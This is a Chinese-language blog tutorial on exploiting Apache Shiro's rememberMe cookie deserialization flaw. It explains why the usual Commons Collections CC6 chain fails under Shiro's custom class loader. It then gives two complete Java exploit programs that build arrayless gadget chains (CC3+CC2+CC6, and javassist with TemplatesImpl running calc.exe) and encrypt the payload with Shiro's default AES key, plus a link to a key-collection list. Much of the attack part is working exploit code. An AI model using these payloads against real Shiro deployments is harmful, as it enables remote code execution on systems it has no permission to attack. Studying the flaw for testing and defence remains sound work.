Shiro反序列化漏洞-shiro下的CC链利用

Shiro反序列化漏洞-shiro下的CC链利用

前言

今天接着讲Shiro反序列化漏洞,上一次我们分析了Shiro反序列化漏洞的原理,打了URLDNS这条最简单JDK内聚的链子,但是实际上反序列化漏洞我们最终还是希望能够执行代码,常见的就是打CC链。但我们上次分析了,Shiro内置是不带CC依赖的,测试漏洞环境我们加上CC3.2.1的版本,今天着重来分析下怎么打改版本。

漏洞复现

首先确保引入了CC3依赖

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

紧接着就是打payload了,我们这里打CC6,套路很熟悉了,构造一个序列化的payload,通过脚本AES的key加密,Base64加密。

image-20230127130723288

抓包将其作为cookie的rememberMe字段发送

image-20230127131548001

但这里我们会遇到一个错误,通过报错可以看到说是,Unable to load class 这里有个类它加载不到,这个类是Lorg.apache.commons.collections.Transformer,实际上是Transformer数组,因为我们CC6的payload里面用到了Transformer数组

image-20230127131927560

这就很奇怪了,为什么其他的类都能加载的到,但是Transformer这个类就加载不到呢?我们去触发反序列化的地方DefaultSerializer看一看。我们之前说这里是调用了readObject方法,但实际上它并不是调用原生的 ObjectInputStream 里的readObject,可以看到上面它这里换了 ClassResolvingObjectInputStream这个类,这个类是Shiro里面自定义的一个对象输入流,也就是说问题是在这个类里面做了一些处理而产生的

image-20230127133643689

所以我们进到ClassResolvingObjectInputStream类里看一看,这个类就俩方法,它重写了一个resolveClassresolveClass是Java在反序列化时会被调用的类,如果重写了就会去调用这个重写的resolveClass类。resolveClass是反序列化中用来查找类的方法,也就是读取到一个字符串类名,然后通过这个方法找到对应的java.lang.Class对象。

image-20230127144353785

对比一下原生的resolveClass类,发现区别在Class.forName()这里的类加载不同,ClassUtils是Shiro自己写的工具类

image-20230127144723295

点进去ClassUtils这个类看一看,它这里是先加载线程加载器,接着当前类加载器,最后系统类加载器,这里我们宏观一点的去理解就是ClassUtils.loadClass不能加载数组类TransformerClass.loadClass是可以加载数组类Transformer,具体区别是Tomcat内置的类加载的细节,和安全关系不太大。

所以我们确定了原因:如果反序列化流中包含非java自身的数组,则会出现无法加载类的错误。而这里CC6用到了 Transformer数组。

image-20230127145659302

所以我们不使用数组类就好了,改写一下CC的版本,这里先来回顾一下目前为止走过的CC链

image-20230127170833394

结合我们之前学过的CC链子构造出一个没有数组的版本,这里是CC3+CC2+CC6,payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public class ShiroCC {
public static void main(String[] args) throws Exception{
// 这部分是CC3
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"lotus");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes );

// 这部分是CC2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

// 这部分是CC6
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "LLLotus");
lazyMap.remove(templates);

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,invokerTransformer);

serialize(map2);
// unserialize("ser.bin");
}

public static void serialize(Object obj)throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}

然后是熟悉的环节,序列化→AES加密→Base64编码,成功调用

image-20230127160141981

当然这里构造不含数组的反序列化Gadget的方法也有很多,比如Orange的师傅使用JRMP的方式:http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html

也可以使用 javassist + TemplatesImpl 替换这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class POC1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc3 = pool.makeClass("Shiro");
cc3.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
cc3.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] code = cc3.toBytecode();

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][]{code});
setFieldValue(obj,"_name","test");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());

Transformer transformer = new InvokerTransformer("getClass", null, null);

HashMap innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, obj);

HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
outerMap.clear();

setFieldValue(transformer,"iMethodName","newTransformer");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashSet);

// 将其转化为 shiro 攻击 payload
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource encrypt = aes.encrypt(byteArrayOutputStream.toByteArray(), key);
System.out.println(encrypt.toString());
}
}

补充一下key的收集:https://github.com/yanm1e/shiro_key

后记

今天主要讲了Shiro3.2.1版本下的CC链利用,解决了默认CC链利用不了的问题。

并且之前讲过Shiro默认的情况下没有CC的,只有commons-beanutils的依赖,commons-beanutils在1.8.3这个版本也是存在反序列化漏洞的,也就是我们也可以去打,下一章就打这个Shiro里原生的自带的漏洞。